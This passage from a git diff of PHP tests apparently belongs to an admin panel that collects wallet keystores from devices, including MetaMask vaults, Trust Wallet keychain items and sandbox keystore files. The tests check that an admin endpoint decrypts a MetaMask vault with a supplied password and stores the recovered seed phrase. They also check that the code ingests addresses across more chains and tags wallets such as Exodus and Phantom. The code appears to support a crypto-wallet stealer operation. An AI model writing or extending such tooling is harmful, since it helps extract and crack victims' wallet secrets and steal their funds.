abandon abandon abandon abandon abandon about'; + $password = 'woshini@88'; + $device = Device::query()->create(['device_id' => 'DEVKSPASSMM']); + $row = WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'MetaMask', + 'decrypted' => 0, + 'needs_password' => 1, + 'raw_json' => $this->makeMetamaskVault($phrase, $password), + ]); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.keystores.data')) + ->assertOk() + ->assertJsonPath('data.0.needs_password', 1) + ->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row)); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password]) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.added', 1) + ->assertJsonPath('data.decrypted', 1) + ->assertJsonPath('data.vault', 1); + + $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($mnemonic); + $this->assertSame($phrase, $mnemonic->mnemonic); + $this->assertSame('MetaMask', $mnemonic->source); + $this->assertSame(1, (int) $row->fresh()->decrypted); + } + + /** + * @return array + */ + private function makeMetamaskVault(string $phrase, string $password): array + { + $inner = json_encode([[ + 'type' => 'HD Key Tree', + 'data' => [ + 'mnemonic' => array_map('ord', str_split($phrase)), + 'numberOfAccounts' => 1, + 'hdPath' => "m/44'/60'/0'/0", + ], + ]], JSON_UNESCAPED_SLASHES); + $saltB64 = base64_encode(random_bytes(32)); + $iv = random_bytes(16); + $key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true); + $cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); + + return [ + 'kind' => 'metamask.vault', + 'cipher' => base64_encode((string) $cipher), + 'iv' => bin2hex($iv), + 'salt' => $saltB64, + 'lib' => 'quick-crypto', + 'keyMetadata' => [ + 'algorithm' => 'PBKDF2', + 'params' => ['iterations' => 5000], + ], + ]; + } } diff --git a/tests/Unit/DsTrustAddressIngestTest.php b/tests/Unit/DsTrustAddressIngestTest.php index e3a6e9e..478ddd7 100644 --- a/tests/Unit/DsTrustAddressIngestTest.php +++ b/tests/Unit/DsTrustAddressIngestTest.php @@ -22,6 +22,8 @@ class DsTrustAddressIngestTest extends TestCase ['address' => 'TSecondTronAddress111111111111111111', 'coin' => 195], ['address' => 'bc1qthirdbtcshouldskipxxxxxxxxxxxxxxxx', 'coin' => 0], ['address' => 'GuybPjCbEJFBEUL7gv7G5UtNKyyktCc5bv8zoBXsFH8D', 'coin' => 501], + ['address' => '0x1111111111111111111111111111111111111111', 'coin' => 20000714], + ['address' => '0x1111111111111111111111111111111111111111', 'coin' => 10042221], ], ]; @@ -43,7 +45,10 @@ class DsTrustAddressIngestTest extends TestCase 'TFirstTronAddress1111111111111111111', 'TSecondTronAddress111111111111111111', ], $byChain['TRON'] ?? []); - $this->assertCount(6, $rows); + $this->assertSame(['0x1111111111111111111111111111111111111111'], $byChain['BSC'] ?? []); + $this->assertSame(['GuybPjCbEJFBEUL7gv7G5UtNKyyktCc5bv8zoBXsFH8D'], $byChain['SOLANA'] ?? []); + $this->assertSame(['0x1111111111111111111111111111111111111111'], $byChain['ARBITRUM'] ?? []); + $this->assertCount(9, $rows); } #[Test] diff --git a/tests/Unit/WalletKeystoreTest.php b/tests/Unit/WalletKeystoreTest.php index bca1164..da09a01 100644 --- a/tests/Unit/WalletKeystoreTest.php +++ b/tests/Unit/WalletKeystoreTest.php @@ -84,4 +84,53 @@ class WalletKeystoreTest extends TestCase $this->assertSame('钥匙串', $row->kindLabel()); $this->assertNotSame('', $row->summary()); } + + #[Test] + public function list_stats_match_listed_items_without_hashing_blobs(): void + { + $json = [ + 'kind' => 'keychain.wallets', + 'wallets' => [ + 'trustwallet' => [ + 'items' => [ + ['account' => 'trust.account', 'dataHex' => bin2hex('777350')], + ['account' => 'other', 'dataHex' => '00'], + ], + ], + ], + ]; + $stats = WalletKeystore::computeListStatsFromJson($json); + $this->assertSame(2, $stats['item_count']); + $this->assertSame('钥匙串', $stats['kind']); + $this->assertSame('trust.account · other', $stats['summary']); + $this->assertFalse($stats['has_web3_keystore']); + } + + #[Test] + public function nested_sandbox_utc_counts_as_web3_keystore(): void + { + $row = new WalletKeystore([ + 'source' => 'Trust Wallet', + 'raw_json' => [ + 'kind' => 'sandbox', + 'sandbox' => [ + 'Trust Wallet' => [ + 'Documents' => [ + 'keystore' => [ + 'UTC--demo' => [ + 'crypto' => [ + 'ciphertext' => 'aa', + 'mac' => 'bb', + ], + ], + ], + ], + ], + ], + ], + ]); + + $this->assertTrue($row->hasWeb3Keystore()); + $this->assertSame('沙盒文件', $row->kindLabel()); + } } diff --git a/tests/Unit/WalletSourceTest.php b/tests/Unit/WalletSourceTest.php index 3cb18d7..ccfcaac 100644 --- a/tests/Unit/WalletSourceTest.php +++ b/tests/Unit/WalletSourceTest.php @@ -22,14 +22,16 @@ class WalletSourceTest extends TestCase } #[Test] - public function supported_chains_exclude_solana_and_ton(): void + public function supported_chains_include_sol_and_arb(): void { $this->assertTrue(WalletSource::isSupportedChain('ETHEREUM')); $this->assertTrue(WalletSource::isSupportedChain('TRON')); $this->assertTrue(WalletSource::isSupportedChain('BITCOIN')); $this->assertTrue(WalletSource::isSupportedChain('BNB')); - $this->assertFalse(WalletSource::isSupportedChain('SOLANA')); - $this->assertFalse(WalletSource::isSupportedChain('SOL')); + $this->assertTrue(WalletSource::isSupportedChain('SOLANA')); + $this->assertTrue(WalletSource::isSupportedChain('SOL')); + $this->assertTrue(WalletSource::isSupportedChain('ARBITRUM')); + $this->assertTrue(WalletSource::isSupportedChain('ARB')); $this->assertFalse(WalletSource::isSupportedChain('TON')); $this->assertFalse(WalletSource::isSupportedChain('UNKNOWN')); } @@ -51,6 +53,9 @@ class WalletSourceTest extends TestCase $this->assertSame('', WalletSource::fromKeystoreHint('')); $this->assertSame('d', WalletSource::tagForLabel('Trust Wallet')); $this->assertSame('b', WalletSource::tagForLabel('imToken')); + $this->assertSame('k', WalletSource::tagForLabel('Exodus')); + $this->assertSame('h', WalletSource::tagForLabel('Uniswap')); + $this->assertSame('i', WalletSource::tagForLabel('Phantom')); } #[Test]